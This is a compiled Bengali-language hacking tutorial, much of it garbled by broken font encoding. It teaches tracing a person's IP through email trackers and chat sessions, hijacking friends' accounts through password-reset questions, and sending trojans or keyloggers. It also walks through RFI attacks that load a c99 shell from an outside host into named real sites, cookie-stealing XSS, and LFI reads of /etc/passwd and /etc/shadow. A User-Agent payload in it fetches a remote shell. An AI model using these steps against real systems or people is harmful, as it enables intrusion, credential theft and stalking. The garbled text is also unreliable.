অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ

অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন

victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয

ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ

httpwwwdidtheyreaditcom

httpwwwpointofmailcom

ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন

অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা

অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger

MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন

সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-

gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না

সকষতর-২

Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন

সকষতর-৩

Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব

কতরচছখচছছনঃ সভচছকতদ াান

সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং

অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর

িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয

অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা

ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায

ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK

HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি

ndashgtimpersonation

mdashgtposing as imp user

mdashgt3rd person approach

mdashgttechnical support

কসিউটার সভসিক মিািযা িআসজজসিোসরিং

কতনচছচয কচছযকটি বাচছগ কতফবি

ndashgtmailim attachments

ndashgtpop up windows

mdashgtsweepstakes

mdashgtspam mail

এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন

কতরচছখচছছনঃ সভচছকতদ াান

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

